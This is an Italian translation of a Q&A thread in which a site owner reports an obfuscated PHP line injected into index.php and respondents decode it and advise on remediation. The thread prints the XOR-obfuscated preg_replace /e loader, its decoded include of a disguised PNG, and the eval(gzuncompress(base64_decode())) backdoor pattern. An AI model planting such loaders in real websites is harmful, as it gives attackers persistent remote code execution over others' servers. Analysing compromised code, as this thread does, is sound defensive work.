Trovato file PHP sospetto e offuscato. È un tentativo di hacking sul mio sito web? [duplicare]

75

Ho appena notato che la riga superiore del mio file index.php è stata cambiata in ciò che è di seguito.

<?php preg_replace("\xf4\x30\x1f\x161\x42\x45"^"\xd7\xf2","3\x495\xa92\xc0\x7217057\xb43\x6c\x69\x6d\x722\xe17\x67\x86\xc77\x640\x31\x78\x99\x9c0\x4"^"32\x965\x16\xbc\x98\xbf\x134\xd1\x7b\x4b\x84\xf6\xbe53\xa324\x9251\xbb\xb51","6\x30\x2f0\x2\x56\x25\x9a\xf\x6\xec7\xeb\x10\x86\x0445\x57\x53\xf3\x8d\xb9\x5c2\xc5\x97572\x83\x747\x28\x2e\xd1\x36\x7273\x3c\xb2\x1a\x9617\x3b7\xcf77\xb741\xb25\xa6\x3d5576\xd6\x7c"^"2\x581\x12\x552610607\x9b\x22\xdf7\xcc\x9e\xe14\x11244\x73\x2c334\xf8\xe903\xf0\x385\x6e\x54\xb2\x24\x4f0532\xf4\xee\x4d5\x886\xa15\x355\xc3\xd0\xca7\xd5\x5f\xc6\xe04\x55\xb5\x41"); ?>

Questo mi sembra molto sospetto e so generalmente cosa fa preg_replace . Tuttavia, non so come decodificare l'oggetto, il pattern o le stringhe di sostituzione.

Qualcuno può dirmelo

  1. Cosa farà in realtà questo codice?
  2. Come è possibile che un file PHP presumibilmente bloccato possa essere aggiornato sul server?
posta Scott 17.02.2016 - 18:17
fonte

5 risposte

138

What will this code actually will do?

Hai una backdoor che consente l'esecuzione di codice in modalità remota

Creditoaborjabperladecodificainiziale

<?phppreg_replace("#(.+)#ie",
"@include_once(base64_decode(""));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

Nota questa stringa codificata in base 64 che abbiamo trovato nel primo file:

L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc

Quando decodifica quella stringa, punta a questo file:

/home4/mitzvahc/public_html/assets/img/logo_small.png

Il file "immagine" non è quello che sembra essere.

kayge ha sottolineato che il file è ovviamente accessibile online. Così ho scaricato la tua "immagine", che è dove sta accadendo il vero hack. Il primo script sta tentando di caricare i contenuti di quell'immagine.

All'interno dell'immagine fittizia, esistono due dichiarazioni eval() che consentono l'esecuzione di codice arbitrario completo quando si controlla $GLOBALS[ooooOOOOo(0)] .

Questo succede solo se l'attaccante tenta di impostare quella variabile. Il 99% delle volte in cui vedi eval() , tutto ciò che devi veramente sapere è che l'intero server Web viene compromesso dall'esecuzione di codice in modalità remota. Ecco cosa sta facendo:

eval(gzuncompress(base64_decode("evil_payload")));

Ovviamente, eri già compromesso da una qualche forma di exploit , ma questo dà all'aggressore una backdoor offuscata nel tuo server web a cui possono accedere continuamente, anche se dovessi patchare il problema permettendo loro per scrivere file in primo luogo.

Quali sono i contenuti del male gunzip?

  1. Puoi vederli qui .
  2. All'interno di questo, ecco un altro dump di codifica (Grazie, Impero tecnico )
  3. Impero tecnico solo ha contribuito notevolmente alla deobfuscation dei contenuti in # 2 .
  4. nneonneo lo ha ripulito ancora di più .

Perché sta succedendo questo?

How it's possible that a supposedly locked PHP file can get updated on the server?

Questo è troppo ampio per rispondere senza avere accesso a tutto. Potresti avere un hardening errato nell'installazione Content Management System , oppure potrebbe esserci una vulnerabilità da qualche parte nel tuo stack web. Non mi interessa visitare il tuo sito web considerando cosa sta succedendo, quindi puoi controllare questi link se fanno parte del tuo CMS:

  1. Lista di controllo della sicurezza di Joomla
  2. Indurimento di WordPress
  3. Lista di controllo della distribuzione di Django

Se il tuo CMS non è elencato, cerca gli elenchi di controllo di protezione / sicurezza per l'installazione di CMS. Se non utilizza un CMS, ma piuttosto il tuo codice, allora devi risolvere i tuoi problemi di sicurezza.

Potrebbero esserci diversi motivi per cui questo sta accadendo ... ma la linea di fondo è: o il tuo host web è stato violato, o hai un exploit sul tuo sito web che consente alle persone malintenzionate di inserire codice aggiuntivo e dargli pieno controllo sul tuo sito web ... nel frattempo, sono che attaccano i tuoi visitatori .

    
risposta data 17.02.2016 - 20:50
fonte
82

La risposta breve è: se il codice è stato aggiunto da qualcuno che non conosci, quindi è dannoso, non ha importanza per quello che fa .

Il tuo server è stato compromesso e devi eseguire una pulizia completa.

Per quanto riguarda il modo in cui è stato aggiunto, non c'è modo per noi di sapere senza un'analisi completa del tuo server.

    
risposta data 17.02.2016 - 18:56
fonte
22

Un file PHP è stato modificato, quindi hai riscontrato molto più di un tentativo di hacking.

La macchina è compromessa .

È necessaria un'installazione del sistema operativo pulita; e per ricaricare il codice del tuo sito dallo sviluppo (o qualche altro backup).

Se hai il tempo e sei paranoico, probabilmente varrebbe la pena considerare che il tuo database potrebbe contenere il codice di attacco XSS che potrebbe essere scatenato sui tuoi utenti finali.

    
risposta data 17.02.2016 - 21:13
fonte
19

Sembra che questo codice offusca il seguente codeby usando l'operatore XOR su due stringhe come binari :

<?php preg_replace("#(.+)#ie", 
"@include_once(base64_decode(""));",
"L2hvbWU0L21pdHp2YWhjL3B1YmxpY19odG1sL2Fzc2V0cy9pbWcvbG9nb19zbWFsbC5wbmc"; ?>

Puoi testarlo in una sandbox PHP . La stringa grande generata sopra è una stringa codificata in base 64 :

/home4/mitzvahc/public_html/assets/img/logo_small.png

Perché usa preg_replace ? Sembra esserci un problema di sicurezza che consente l'esecuzione di codice ma potrebbe essere solo per l'offuscamento del codice.

    
risposta data 17.02.2016 - 19:30
fonte
0

In questo caso, sì, tuttavia non tutti i casi. So che alcune persone troveranno questa domanda così questa risposta è destinata a un pubblico più ampio:

Gli host Web fanno cose strane e ho un lotto di host web. Potresti voler risolvere temporaneamente il file fino a quando non hai avuto la possibilità di richiamare il tuo host web e determinare se avevano qualcosa a che fare con esso o meno.

A quanto pare ci sono alcuni modi per hackerare PHP, incluso uno che ti consente di accedere a qualsiasi cosa sul server al di fuori del percorso del tuo account (nell'host condiviso), e potresti vedere il codice di altre persone così è possibile a volte che il tuo account può essere violato per vedere il codice di un altro account che è un altro motivo per evitare l'hosting condiviso se puoi permetterti.

Per impostazione predefinita, presume che non sia un file sicuro e spostalo o rinominalo finché non puoi confermare con il tuo host web.

    
risposta data 19.02.2016 - 00:22
fonte

Leggi altre domande sui tag